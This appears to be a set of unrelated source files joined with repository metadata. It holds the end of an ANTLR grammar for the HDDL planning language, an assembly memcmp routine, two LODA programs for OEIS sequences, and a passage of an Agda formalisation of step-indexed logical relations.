':task' '(' task_symbol var_or_const* ')'
(':precondition' gd)?
(':effect' effect)?
tasknetwork_def;
//
// Task Definition
//
// @HDDL
// @LABEL {The following definition of a task network is used in method definitions as well as in the problem definition
// to define the intial task network. It contains the definition of a number of tasks as well sets of ordering
// constraints, variable constraints between any method parameters. Please use the requirement :htn-causal-links
// to include causal links into the model. When the keys :ordered-subtasks or :ordered-tasks are used, the
// network is regarded to be totally ordered. In the other cases, ordering relations may be defined in the
// respective section. To do so, the task definition includes an id for every task that can be referenced here.
// They are also used to define causal links. Two dedicated ids "init" and "goal" can be used in causal link
// definition to reference the initial state and the goal definition.}
tasknetwork_def :
((':subtasks' | ':tasks' | ':ordered-subtasks' | ':ordered-tasks') subtask_defs)?
((':ordering' | ':order') ordering_defs)?
(':constraints' constraint_defs)?
((':causal-links' | ':causallinks') causallink_defs)?
')';
method_symbol : NAME;
//
// Subtasks
//
// @HDDL
// @LABEL {The subtask definition may contain one or more subtasks. The tasks consist of a task symbol as well as a
// list of parameters. In case of a method's subnetwork, these parameters have to be included in the method's
// parameters, in case of the initial task network, they have to be defined as constants in s0 or in a dedicated
// parameter list (see definition of the initial task network). The tasks may start with an id that can
// be used to define ordering constraints and causal links.}
subtask_defs : '(' ')' | subtask_def | '(' 'and' subtask_def+ ')';
subtask_def : ('(' task_symbol var_or_const* ')' | '(' subtask_id '(' task_symbol var_or_const* ')' ')');
subtask_id : NAME;
//
// Ordering
//
// @HDDL
// @LABEL {The ordering constraints are defined via the task ids. They have to induce a partial order.}
ordering_defs : '(' ')' | ordering_def | '(' 'and' ordering_def+ ')';
ordering_def : '(' subtask_id '<' subtask_id ')';
//
// Variable Constraits
//
// @HDDL
// @LABEL {The variable constraints enable to codesignate or non-codesignate variables; or to enforce (or forbid) a
// variable to have a certain type.}
// @EXAMPLE {(= ?v1 ?v2)), (not (= ?v3 ?v4)), (sort ?v - type), (not (sort ?v - type))}
constraint_defs : '(' ')' | constraint_def | '(' 'and' constraint_def+ ')';
constraint_def : '(' ')' | '(' 'not' equallity var_or_const var_or_const')' ')' | equallity var_or_const var_or_const ')'
| '(' ('type' | 'typeof' | 'sort' | 'sortof') typed_var ')'
| '(' 'not' '(' ('type' | 'typeof' | 'sort' | 'sortof') typed_var ')' ')' ;
//
// Causal Links
//
// @HDDL
// @LABEL {Causal links in the model enable the predefinition on which action supports a certain precondition. They
// reference the tasks by the ids that are also used in the definition of ordering constraints.}
causallink_defs : '(' ')' | causallink_def | '(' 'and' causallink_def+ ')';
causallink_def : '(' subtask_id literal subtask_id ')';
//
// Action Definition
//
// @MODIFIED
// @LABEL {The original action definition of PDDL has been split up to reuse its body in the task definition.}
action_def :
'(' ':action' task_def;
//
// Goal Description
// @LABEL {gd means "goal description". It is used to define goals and preconditions. The PDDL 2.1 definition has been extended by the LTL defintions given by Gerevini andLon "Plan Constraints and Preferences in PDDL3"}
//
// @MODIFIED
gd : gd_empty | atomic_formula | gd_negation | gd_implication | gd_conjuction | gd_disjuction | gd_existential | gd_universal | gd_equality_constraint
| gd_ltl_at_end | gd_ltl_always | gd_ltl_sometime | gd_ltl_at_most_once | gd_ltl_sometime_after | gd_ltl_sometime_before
| gd_preference;
gd_empty : '(' ')';
gd_conjuction : '(' 'and' gd+ ')';
gd_disjuction : '(' 'or' gd+ ')';
gd_negation : '(' 'not' gd ')';
gd_implication : '(' 'imply' gd gd ')'; // new
gd_existential : '(' 'exists' '(' typed_var_list ')' gd ')';
gd_universal : '(' 'forall' '(' typed_var_list ')' gd ')';
gd_equality_constraint : equallity var_or_const var_or_const ')';
gd_ltl_at_end : '(' 'at end' gd ')';
gd_ltl_always : '(' 'always' gd ')';
gd_ltl_sometime : '(' 'sometime' gd ')';
gd_ltl_at_most_once : '(' 'at-most-once' gd ')';
gd_ltl_sometime_after : '(' 'sometime-after' gd gd ')';
gd_ltl_sometime_before : '(' 'sometime-before' gd gd ')';
gd_preference : '(' 'preference' NAME gd ')';
//
// Effects
//
// @LABEL {In contrast to earlier versions of this grammar, nested conditional effects are now permitted.
// This is not allowed in PDDL 2.1}
effect : eff_empty | eff_conjunction | eff_universal | eff_conditional | literal | p_effect;
eff_empty : '(' ')';
eff_conjunction : '(' 'and' effect+ ')';
eff_universal : '(' 'forall' '(' typed_var_list ')' effect ')';
eff_conditional : '(' 'when' gd effect ')';
literal : neg_atomic_formula | atomic_formula;
neg_atomic_formula : '(' 'not' atomic_formula ')';
p_effect : '(' assign_op f_head f_exp ')';
assign_op : 'assign' | 'scale-down' | 'scale-up' | 'increase' | 'decrease';
f_head : func_symbol | '(' func_symbol term* ')';
f_exp : NUMBER | '(' bin_op f_exp f_exp ')' | '(' multi_op f_exp f_exp+ ')' | '(' '-' f_exp ')' | f_head;
bin_op : multi_op | '-' | '/';
multi_op : '+' | '*';
//
// Basic Definitions
//
// @LABEL {Predicate and atom definition:}
atomic_formula : '('predicate var_or_const*')';
predicate : NAME;
// @LABEL {Special "predicate" for equallity:}
equallity : '(' '=' | '(=';
// @LABEL {Lists of typed variables and objects:}
typed_var_list : typed_vars*;
typed_obj_list : typed_objs*;
// @LABEL {One or more variable names, followed by a type:}
typed_vars : VAR_NAME+ '-' var_type;
typed_var : VAR_NAME '-' var_type;
typed_objs : new_consts+ '-' var_type;
new_consts : NAME;
var_type : NAME | '(' 'either' var_type+ ')';
// @LABEL {"require"-statements start with a ":"-symbol:}
REQUIRE_NAME : ':' NAME;
// @LABEL {Names of variables start with a "?":}
var_or_const : NAME | VAR_NAME;
VAR_NAME : '?'NAME;
// @LABEL {Basic name definition:}
term : NAME | VAR_NAME | functionterm;
functionterm : '(' func_symbol term* ')';
func_symbol : NAME;
NAME : [a-zA-Z][a-zA-Z0-9\-_]* ;
COMMENT : (';' ~[\r\n]* ('\r'|'\n') ('\r'|'\n')? ) -> skip ;
WS : [ \t\r\n]+ -> skip ;
NUMBER : [0-9][0-9]* '.'? [0-9]* | '.' [0-9]*;
//
/*********************************************************************************/
//
// Problem Definition
//
problem : '(' 'define' '(' 'problem' NAME ')'
'(' ':domain' NAME ')'
require_def?
p_object_declaration?
p_htn?
p_init
p_goal?
p_constraint?
metric_spec?
')';
p_object_declaration : '(' ':objects' typed_obj_list')';
p_init : '(' ':init' init_el*')';
init_el : literal | num_init;
num_init : equallity f_head NUMBER ')';
p_goal : '(' ':goal' gd ')';
p_htn : '(' (':htn'|':htnti')
(':parameters' '(' typed_var_list ')')?
tasknetwork_def;
metric_spec : '(' ':metric' optimization ground_f_exp')';
optimization : 'minimize' | 'maximize';
ground_f_exp : '(' bin_op ground_f_exp ground_f_exp ')'
| '(' multi_op ground_f_exp ground_f_exp+ ')'
| ('(' '-' | '(-') ground_f_exp ')'
| NUMBER
| '(' func_symbol NAME* ')'
| 'total-time'
| func_symbol;
p_constraint : '(' ':constraints' gd ')';
|
C/BiosLib/memcmp.asm
|
p-k-p/SysToolsLib
| 232
|
171542
|
page ,132
TITLE C library emulation, not relying on MS-DOS.
;*****************************************************************************;
; ;
; FILE NAME: memcmp.asm ;
; ;
; DESCRIPTION: Compare the contents of two blocks of memory ;
; ;
; NOTES: ;
; ;
; HISTORY: ;
; 1995/08/29 JFL Created this file. ;
; ;
; (c) Copyright 1995-2017 Hewlett Packard Enterprise Development LP ;
; Licensed under the Apache 2.0 license - www.apache.org/licenses/LICENSE-2.0 ;
;*****************************************************************************;
INCLUDE ADEFINE.INC ; For the segment definitions
.286
.code
;-----------------------------------------------------------------------------;
; ;
; Function: memcmp ;
; ;
; Description: Compare the contents of two blocks of memory ;
; ;
; Parameters: BX Pointer to the first buffer ;
; AX Pointer to the second buffer ;
; DX Number of characters to compare ;
; ;
; Returns: AX First difference, or 0 if no difference ;
; ;
; Notes: ;
; ;
; Regs altered: AX, BX, DX ;
; ;
; History: ;
; ;
; 1995/08/29 JFL Created this routine, adapted from strcmp. ;
; ;
;-----------------------------------------------------------------------------;
CFASTPROC memcmp
push si
push cx
mov si, bx ; First pointer in SI
mov bx, ax ; Second pointer in BX
mov cx, dx ; Max count in CX
next_cmp:
lodsb ; First character in AL
; and advance SI
mov dl, byte ptr [bx] ; Second character in DL
inc bx ; Advance BX
cmp al, dl ; Compare the characters
loope next_cmp ; Continue if they're equal
done_cmp:
xor ah, ah ; Convert uchar to signed int
xor dh, dh
sub ax, dx ; Return signed int difference
pop cx
pop si
ret
ENDCFASTPROC memcmp
END
|
oeis/153/A153235.asm
|
neoneye/loda-programs
| 0
|
160758
|
<gh_stars>0
; A153235: Numbers n such that 8*n+7 is not prime.
; Submitted by <NAME>(w2)
; 1,4,6,7,10,11,13,14,16,17,19,21,22,25,26,28,30,31,34,35,36,37,39,40,41,42,43,46,48,49,50,51,52,55,56,58,61,63,64,65,66,67,68,69,70,71,72,73,76,77,79,81,82,83,84,85,86,87,88,91,94,95,96,97,98,99,100,101,103,105,106,108,109,111,112,115,116,117,118,119,121,124,125,126,127,130,131,133,134,136,138,139,140,141,142,144,145,146,147,148
mov $1,6
mov $2,$0
add $2,2
pow $2,2
lpb $2
add $1,8
sub $2,1
mov $3,$1
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
add $0,$3
sub $0,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,14
div $0,8
add $0,1
|
oeis/016/A016006.asm
|
neoneye/loda-programs
| 11
|
99106
|
<reponame>neoneye/loda-programs<gh_stars>10-100
; A016006: a(n) = (tau(n^10)+9)/10.
; Submitted by <NAME>
; 1,2,2,3,2,13,2,4,3,13,2,24,2,13,13,5,2,24,2,24,13,13,2,35,3,13,4,24,2,134,2,6,13,13,13,45,2,13,13,35,2,134,2,24,24,13,2,46,3,24,13,24,2,35,13,35,13,13,2,255,2,13,24,7,13,134,2,24,13,134,2,66,2,13,24,24,13,134,2,46,5,13,2,255,13,13,13,35,2,255,13,24,13,13,13,57,2,24,24,45
add $0,1
mov $1,1
lpb $0
mov $3,$0
lpb $3
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
add $5,10
lpe
mul $1,$5
lpe
mov $0,$1
div $0,10
add $0,1
|
Thesis/FunBigStepSILR2.agda
|
inc-lc/ilc-agda
| 10
|
13919
|
-- Step-indexed logical relations based on functional big-step semantics.
--
-- Goal for now: just prove the fundamental theorem of logical relations,
-- relating a term to itself in a different environments.
--
-- But to betray the eventual goal, I can also relate integer values with a
-- change in the relation witness. That was a completely local change. But that
-- might also be because we only have few primitives.
--
-- Because of closures, we need relations across different terms with different
-- contexts and environments.
--
-- This development is strongly inspired by "Imperative self-adjusting
-- computation" (ISAC below), POPL'08, in preference to Dargaye and Leroy (2010), "A verified
-- framework for higher-order uncurrying optimizations", but I deviate
-- somewhere, especially to try following "Functional Big-Step Semantics"),
-- though I deviate somewhere.
-- In fact, this development is typed, hence some parts of the model are closer
-- to Ahmed (ESOP 2006), "Step-Indexed Syntactic Logical Relations for Recursive
-- and Quantified Types". But for many relevant aspects, the two papers are
-- interchangeable.
--
-- The main insight from the ISAC paper missing from the other one is how to
-- step-index a big-step semantics correctly: just ensure that the steps in the
-- big-step semantics agree with the ones in the small-step semantics. *Then*
-- everything just works with big-step semantics. Quite a few other details are
-- fiddly, but those are the same in small-step semantics.
--
-- CHEATS:
-- "Fuctional big-step semantics" requires an external termination proof for the
-- semantics. There it is also mechanized, here it isn't. Worse, the same
-- termination problem affects some lemmas about the semantics.
module Thesis.FunBigStepSILR2 where
open import Data.Empty
open import Data.Unit.Base hiding (_≤_)
open import Data.Product
open import Relation.Binary.PropositionalEquality
open import Relation.Binary hiding (_⇒_)
open import Data.Nat -- using (ℕ; zero; suc; decTotalOrder; _<_; _≤_)
open import Data.Nat.Properties
data Type : Set where
_⇒_ : (σ τ : Type) → Type
nat : Type
infixr 20 _⇒_
⟦_⟧Type : Type → Set
⟦ σ ⇒ τ ⟧Type = ⟦ σ ⟧Type → ⟦ τ ⟧Type
⟦ nat ⟧Type = ℕ
open import Base.Syntax.Context Type public
open import Base.Syntax.Vars Type public
data Const : (τ : Type) → Set where
lit : ℕ → Const nat
-- succ : Const (int ⇒ int)
data Term (Γ : Context) :
(τ : Type) → Set where
-- constants aka. primitives
const : ∀ {τ} →
(c : Const τ) →
Term Γ τ
var : ∀ {τ} →
(x : Var Γ τ) →
Term Γ τ
app : ∀ {σ τ}
(s : Term Γ (σ ⇒ τ)) →
(t : Term Γ σ) →
Term Γ τ
-- we use de Bruijn indices, so we don't need binding occurrences.
abs : ∀ {σ τ}
(t : Term (σ • Γ) τ) →
Term Γ (σ ⇒ τ)
weaken : ∀ {Γ₁ Γ₂ τ} →
(Γ₁≼Γ₂ : Γ₁ ≼ Γ₂) →
Term Γ₁ τ →
Term Γ₂ τ
weaken Γ₁≼Γ₂ (const c) = const c
weaken Γ₁≼Γ₂ (var x) = var (weaken-var Γ₁≼Γ₂ x)
weaken Γ₁≼Γ₂ (app s t) = app (weaken Γ₁≼Γ₂ s) (weaken Γ₁≼Γ₂ t)
weaken Γ₁≼Γ₂ (abs {σ} t) = abs (weaken (keep σ • Γ₁≼Γ₂) t)
data Val : Type → Set
open import Base.Denotation.Environment Type Val public
open import Base.Data.DependentList public
data Val where
closure : ∀ {Γ σ τ} → (t : Term (σ • Γ) τ) → (ρ : ⟦ Γ ⟧Context) → Val (σ ⇒ τ)
intV : ∀ (n : ℕ) → Val nat
import Base.Denotation.Environment
-- Den stands for Denotational semantics.
module Den = Base.Denotation.Environment Type ⟦_⟧Type
--
-- Functional big-step semantics
--
-- Termination is far from obvious to Agda once we use closures. So we use
-- step-indexing with a fuel value.
-- WARNING: ISAC's big-step semantics produces a step count as "output". But
-- that would not help Agda establish termination. That's only a problem for a
-- functional big-step semantics, not for a relational semantics.
--
-- So, instead, I tried to use a sort of writer monad: the interpreter gets fuel
-- and returns the remaining fuel. That's the same trick as in "functional
-- big-step semantics". That *makes* the function terminating, even though Agda
-- cannot see this because it does not know that the returned fuel is no bigger.
-- Since we focus for now on STLC, unlike that
-- paper, we could avoid error values because we keep types.
--
-- One could drop types and add error values instead.
data ErrVal (τ : Type) : Set where
Done : (v : Val τ) → (n1 : ℕ) → ErrVal τ
Error : ErrVal τ
TimeOut : ErrVal τ
Res : Type → Set
Res τ = (n : ℕ) → ErrVal τ
_>>=_ : ∀ {σ τ} → Res σ → (Val σ → Res τ) → Res τ
(s >>= t) n0 with s n0
... | Done v n1 = t v n1
... | Error = Error
... | TimeOut = TimeOut
evalConst : ∀ {τ} → Const τ → Res τ
evalConst (lit v) n = Done (intV v) n
{-# TERMINATING #-}
eval : ∀ {Γ τ} → Term Γ τ → ⟦ Γ ⟧Context → Res τ
apply : ∀ {σ τ} → Val (σ ⇒ τ) → Val σ → Res τ
apply (closure t ρ) a n = eval t (a • ρ) n
eval (var x) ρ n = Done (⟦ x ⟧Var ρ) n
eval (abs t) ρ n = Done (closure t ρ) n
eval (const c) ρ n = evalConst c n
eval _ ρ zero = TimeOut
eval (app s t) ρ (suc n) = (eval s ρ >>= (λ sv → eval t ρ >>= λ tv → apply sv tv)) n
eval-const-dec : ∀ {τ} → (c : Const τ) → ∀ {v} n0 n1 → evalConst c n0 ≡ Done v n1 → n1 ≤ n0
eval-const-dec (lit v) n0 .n0 refl = ≤-refl
{-# TERMINATING #-}
eval-dec : ∀ {Γ τ} → (t : Term Γ τ) → ∀ ρ v n0 n1 → eval t ρ n0 ≡ Done v n1 → n1 ≤ n0
eval-dec (const c) ρ v n0 n1 eq = eval-const-dec c n0 n1 eq
eval-dec (var x) ρ .(⟦ x ⟧Var ρ) n0 .n0 refl = ≤-refl
eval-dec (abs t) ρ .(closure t ρ) n0 .n0 refl = ≤-refl
eval-dec (app s t) ρ v zero n1 ()
eval-dec (app s t) ρ v (suc n0) n3 eq with eval s ρ n0 | inspect (eval s ρ) n0
eval-dec (app s t) ρ v (suc n0) n3 eq | Done sv sn1 | [ seq ] with eval t ρ sn1 | inspect (eval t ρ) sn1
eval-dec (app s t) ρ v (suc n0) n3 eq | Done sv@(closure st sρ) sn1 | [ seq ] | (Done tv tn2) | [ teq ] = ≤-step (≤-trans (≤-trans (eval-dec st _ _ _ _ eq) (eval-dec t _ _ _ _ teq)) (eval-dec s _ _ _ _ seq))
eval-dec (app s t) ρ v (suc n0) n3 () | Done sv sn1 | [ seq ] | Error | [ teq ]
eval-dec (app s t) ρ v (suc n0) n3 () | Done sv sn1 | [ seq ] | TimeOut | [ teq ]
eval-dec (app s t) ρ v (suc n0) n3 () | Error | [ seq ]
eval-dec (app s t) ρ v (suc n0) n3 () | TimeOut | [ seq ]
eval-const-mono : ∀ {τ} → (c : Const τ) → ∀ {v} n0 n1 → evalConst c n0 ≡ Done v n1 → evalConst c (suc n0) ≡ Done v (suc n1)
eval-const-mono (lit v) n0 .n0 refl = refl
-- ARGH
{-# TERMINATING #-}
eval-mono : ∀ {Γ τ} → (t : Term Γ τ) → ∀ ρ v n0 n1 → eval t ρ n0 ≡ Done v n1 → eval t ρ (suc n0) ≡ Done v (suc n1)
eval-mono (const c) ρ v n0 n1 eq = eval-const-mono c n0 n1 eq
eval-mono (var x) ρ .(⟦ x ⟧Var ρ) n0 .n0 refl = refl
eval-mono (abs t) ρ .(closure t ρ) n0 .n0 refl = refl
eval-mono (app s t) ρ v zero n1 ()
eval-mono (app s t) ρ v (suc n0) n1 eq with eval s ρ n0 | inspect (eval s ρ) n0
eval-mono (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] with eval s ρ (suc n0) | eval-mono s ρ sv n0 n1 seq
eval-mono (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl with eval t ρ n1 | inspect (eval t ρ) n1
eval-mono (app s t) ρ v (suc n0) n3 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | Done tv n2 | [ teq ] with eval t ρ (suc n1) | eval-mono t ρ tv n1 n2 teq
eval-mono (app s t) ρ v (suc n0) n3 eq | Done (closure t₁ ρ₁) n1 | [ seq ] | .(Done (closure {Γ = _} {σ = _} {τ = _} t₁ ρ₁) (suc n1)) | refl | (Done tv n2) | [ teq ] | .(Done tv (suc n2)) | refl = eval-mono t₁ (tv • ρ₁) v n2 n3 eq
eval-mono (app s t) ρ v (suc n0) n2 () | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | Error | [ teq ]
eval-mono (app s t) ρ v (suc n0) n2 () | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | TimeOut | [ teq ]
eval-mono (app s t) ρ v (suc n0) n1 () | Error | [ seq ]
eval-mono (app s t) ρ v (suc n0) n1 () | TimeOut | [ seq ]
eval-adjust-plus : ∀ d {Γ τ} → (t : Term Γ τ) → ∀ ρ v n0 n1 → eval t ρ n0 ≡ Done v n1 → eval t ρ (d + n0) ≡ Done v (d + n1)
eval-adjust-plus zero t ρ v n0 n1 eq = eq
eval-adjust-plus (suc d) t ρ v n0 n1 eq = eval-mono t ρ v (d + n0) (d + n1) (eval-adjust-plus d t ρ v n0 n1 eq)
eval-const-strengthen : ∀ {τ} → (c : Const τ) → ∀ {v} n0 n1 → evalConst c (suc n0) ≡ Done v (suc n1) → evalConst c n0 ≡ Done v n1
eval-const-strengthen (lit v) n0 .n0 refl = refl
-- I started trying to prove eval-strengthen, which I appeal to informally
-- below, but I gave up. I still guess the lemma is true but proving it looks
-- too painful to bother.
-- Without this lemma, I can't fully prove that this logical relation is
-- equivalent to the original one.
-- But this one works (well, at least up to the fundamental theorem, haven't
-- attempted other lemmas), so it should be good enough.
-- eval-mono-err : ∀ {Γ τ} → (t : Term Γ τ) → ∀ ρ n → eval t ρ n ≡ Error → eval t ρ (suc n) ≡ Error
-- eval-mono-err (const (lit x)) ρ zero eq = {!!}
-- eval-mono-err (const (lit x)) ρ (suc n) eq = {!!}
-- eval-mono-err (var x) ρ n eq = {!!}
-- eval-mono-err (app t t₁) ρ n eq = {!!}
-- eval-mono-err (abs t) ρ n eq = {!!}
-- -- eval t ρ (suc n0) ≡ Done v (suc n1) → eval t ρ n0 ≡ Done v n
-- eval-aux : ∀ {Γ τ} → (t : Term Γ τ) → ∀ ρ n → (Σ[ res0 ∈ ErrVal τ ] eval t ρ n ≡ res0) × (Σ[ resS ∈ ErrVal τ ] eval t ρ n ≡ resS)
-- eval-aux t ρ n with
-- eval t ρ n | inspect (eval t ρ) n |
-- eval t ρ (suc n) | inspect (eval t ρ) (suc n)
-- eval-aux t ρ n | res0 | [ eq0 ] | (Done v1 n1) | [ eq1 ] = {!!}
-- eval-aux t ρ n | res0 | [ eq0 ] | Error | [ eq1 ] = {!!}
-- eval-aux t ρ n | Done v n1 | [ eq0 ] | TimeOut | [ eq1 ] = {!!}
-- eval-aux t ρ n | Error | [ eq0 ] | TimeOut | [ eq1 ] = {!!}
-- eval-aux t ρ n | TimeOut | [ eq0 ] | TimeOut | [ eq1 ] = (TimeOut , refl) , (TimeOut , refl)
-- {-# TERMINATING #-}
-- eval-strengthen : ∀ {Γ τ} → (t : Term Γ τ) → ∀ ρ v n0 n1 → eval t ρ (suc n0) ≡ Done v (suc n1) → eval t ρ n0 ≡ Done v n1
-- eval-strengthen (const c) ρ v n0 n1 eq = eval-const-strengthen c n0 n1 eq
-- eval-strengthen (var x) ρ .(⟦ x ⟧Var ρ) n0 .n0 refl = refl
-- eval-strengthen (abs t) ρ .(closure t ρ) n0 .n0 refl = refl
-- eval-strengthen (app s t) ρ v zero n1 eq with eval s ρ 0 | inspect (eval s ρ) 0
-- eval-strengthen (app s t) ρ v zero n1 eq | Done sv sn1 | [ seq ] with eval-dec s ρ sv 0 sn1 seq
-- eval-strengthen (app s t) ρ v zero n1 eq | Done sv .0 | [ seq ] | z≤n with eval t ρ 0 | inspect (eval t ρ) 0
-- eval-strengthen (app s t) ρ v zero n1 eq | Done sv _ | [ seq ] | z≤n | Done tv tn1 | [ teq ] with eval-dec t ρ tv 0 tn1 teq
-- eval-strengthen (app s t) ρ v zero n1 eq | Done (closure st sρ) _ | [ seq ] | z≤n | (Done tv .0) | [ teq ] | z≤n with eval-dec st _ v 0 (suc n1) eq
-- eval-strengthen (app s t) ρ v zero n1 eq | Done (closure st sρ) _ | [ seq ] | z≤n | (Done tv _) | [ teq ] | z≤n | ()
-- eval-strengthen (app s t) ρ v zero n1 () | Done sv _ | [ seq ] | z≤n | Error | [ teq ]
-- eval-strengthen (app s t) ρ v zero n1 () | Done sv _ | [ seq ] | z≤n | TimeOut | [ teq ]
-- eval-strengthen (app s t) ρ v zero n1 () | Error | [ seq ]
-- eval-strengthen (app s t) ρ v zero n1 () | TimeOut | [ seq ]
-- -- eval-dec s ρ
-- -- {!eval-dec s ρ ? (suc zero) (suc n1) !}
-- -- eval-strengthen (app s t) ρ v (suc n0) n1 eq with eval s ρ (suc n0) | inspect (eval s ρ) (suc n0)
-- -- eval-strengthen (app s t) ρ v₁ (suc n0) n2 eq | Done sv n1 | [ seq ] with eval s ρ n0 = {!eval-strengthen s ρ v n0 n1 seq !}
-- -- eval-strengthen (app s t) ρ v (suc n0) n1 () | Error | [ seq ]
-- -- eval-strengthen (app s t) ρ v (suc n0) n1 () | TimeOut | [ seq ]
-- eval-strengthen (app s t) ρ v (suc n0) n1 eq with eval s ρ n0 | inspect (eval s ρ) n0
-- eval-strengthen (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] with eval s ρ (suc n0) | eval-mono s ρ sv n0 n1 seq
-- eval-strengthen (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl with eval t ρ n1 | inspect (eval t ρ) n1
-- eval-strengthen (app s t) ρ v (suc n0) n3 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | Done tv n2 | [ teq ] with eval t ρ (suc n1) | eval-mono t ρ tv n1 n2 teq
-- eval-strengthen (app s t) ρ v (suc n0) n3 eq | Done (closure t₁ ρ₁) n1 | [ seq ] | .(Done (closure {Γ = _} {σ = _} {τ = _} t₁ ρ₁) (suc n1)) | refl | (Done tv n2) | [ teq ] | .(Done tv (suc n2)) | refl = eval-strengthen t₁ (tv • ρ₁) v n2 n3 eq
-- eval-strengthen (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | Error | [ teq ] = {!!}
-- eval-strengthen (app s t) ρ v (suc n0) n2 eq | Done sv n1 | [ seq ] | .(Done sv (suc n1)) | refl | TimeOut | [ teq ] = {!!}
-- eval-strengthen (app s t) ρ v (suc n0) n1 eq | Error | [ seq ] = {!!}
-- eval-strengthen (app s t) ρ v (suc n0) n1 eq | TimeOut | [ seq ] = {!!}
-- eval-adjust-minus : ∀ d {Γ τ} → (t : Term Γ τ) → ∀ {ρ v} n0 n1 → eval t ρ (d + n0) ≡ Done v (d + n1) → eval t ρ n0 ≡ Done v n1
-- eval-adjust-minus zero t n0 n1 eq = eq
-- eval-adjust-minus (suc d) t n0 n1 eq = eval-adjust-minus d t n0 n1 (eval-strengthen t _ _ (d + n0) (d + n1) eq)
import Data.Integer as I
open I using (ℤ)
mutual
-- Warning: compared to Ahmed's papers, this definition for relT also requires
-- t1 to be well-typed, not just t2.
--
-- This difference might affect the status of some proofs in Ahmed's papers,
-- but that's not a problem here.
-- Also: can't confirm this in any of the papers I'm using, but I'd guess that
-- all papers using environments allow to relate closures with different
-- implementations and different hidden environments.
--
-- To check if the proof goes through with equal context, I changed the proof.
-- Now a proof that two closures are equivalent contains a proof that their
-- typing contexts are equivalent. The changes were limited softawre
-- engineering, the same proofs go through.
-- This is not the same definition of relT, but it is equivalent.
relT : ∀ {τ Γ} (t1 : Term Γ τ) (t2 : Term Γ τ) (ρ1 : ⟦ Γ ⟧Context) (ρ2 : ⟦ Γ ⟧Context) → ℕ → Set
-- This equation is a lemma in the original definition.
relT t1 t2 ρ1 ρ2 zero = ⊤
-- To compare this definition, note that the original k is suc n here.
relT {τ} t1 t2 ρ1 ρ2 (suc n) =
(v1 : Val τ) →
-- Originally we have 0 ≤ j < k, so j < suc n, so k - j = suc n - j.
-- It follows that 0 < k - j ≤ k, hence suc n - j ≤ suc n, or n - j ≤ n.
-- Here, instead of binding j we bind n-j = n - j, require n - j ≤ n, and
-- use suc n-j instead of k - j.
∀ n-j (n-j≤n : n-j ≤ n) →
-- The next assumption is important. This still says that evaluation consumes j steps.
-- Since j ≤ n, it is OK to start evaluation with n steps.
-- Starting with (suc n) and getting suc n-j is equivalent, per eval-mono
-- and eval-strengthen. But in practice this version is easier to use.
(eq : eval t1 ρ1 n ≡ Done v1 n-j) →
Σ[ v2 ∈ Val τ ] Σ[ n2 ∈ ℕ ] eval t2 ρ2 n2 ≡ Done v2 0 × relV τ v1 v2 (suc n-j)
-- Here, computing t2 is allowed to take an unbounded number of steps. Having to write a number at all is annoying.
relV : ∀ τ (v1 v2 : Val τ) → ℕ → Set
-- Show the proof still goes through if we relate clearly different values by
-- inserting changes in the relation.
-- There's no syntax to produce such changes, but you can add changes to the
-- environment.
relV nat (intV v1) (intV v2) n = Σ[ dv ∈ ℤ ] dv I.+ (I.+ v1) ≡ (I.+ v2)
relV (σ ⇒ τ) (closure {Γ1} t1 ρ1) (closure {Γ2} t2 ρ2) n =
Σ (Γ1 ≡ Γ2) λ { refl →
∀ (k : ℕ) (k≤n : k < n) v1 v2 →
relV σ v1 v2 k →
relT t1 t2 (v1 • ρ1) (v2 • ρ2) k
}
-- Above, in the conclusion, I'm not relating app (closure t1 ρ1) v1 with app
-- (closure t2 ρ2) v2 (or some encoding of that that actually works), but the
-- result of taking a step from that configuration. That is important, because
-- both Pitts' "Step-Indexed Biorthogonality: a Tutorial Example" and
-- "Imperative Self-Adjusting Computation" do the same thing (and point out it's
-- important).
Δτ : Type → Type
Δτ (σ ⇒ τ) = σ ⇒ (Δτ σ) ⇒ Δτ τ
Δτ nat = nat
mutual
-- The original relation allows unrelated environments. However, while that is
-- fine as a logical relation, it's not OK if we want to prove that validity
-- agrees with oplus. We want a finer relation.
-- Also: we still need to demand the actual environments to be related, and
-- the bodies to match. Haven't done that yet. On the other hand, since we do want
-- to allow for replacement changes, that would probably complicate the proof
-- elsewhere.
relT3 : ∀ {τ Γ ΔΓ} (t1 : Term Γ τ) (dt : Term ΔΓ (Δτ τ)) (t2 : Term Γ τ) (ρ1 : ⟦ Γ ⟧Context) (dρ : ⟦ ΔΓ ⟧Context) (ρ2 : ⟦ Γ ⟧Context) → ℕ → Set
relT3 t1 dt t2 ρ1 dρ ρ2 zero = ⊤
relT3 {τ} t1 dt t2 ρ1 dρ ρ2 (suc n) =
(v1 : Val τ) →
∀ n-j (n-j≤n : n-j ≤ n) →
(eq : eval t1 ρ1 n ≡ Done v1 n-j) →
Σ[ v2 ∈ Val τ ] Σ[ n2 ∈ ℕ ] eval t2 ρ2 n2 ≡ Done v2 0 ×
Σ[ dv ∈ Val (Δτ τ) ] Σ[ dn ∈ ℕ ] eval dt dρ dn ≡ Done dv 0 ×
relV3 τ v1 dv v2 (suc n-j)
-- Weakening in this definition is going to be annoying to use. And having to
-- construct terms is ugly.
-- Worse, evaluating the application consumes computation steps.
-- Weakening could be avoided if we use a separate language of change terms
-- with two environments, and with a dclosure binding two variables at once,
-- and so on.
relV3 : ∀ τ (v1 : Val τ) (dv : Val (Δτ τ)) (v2 : Val τ) → ℕ → Set
relV3 nat (intV v1) (intV dv) (intV v2) n = dv + v1 ≡ v2
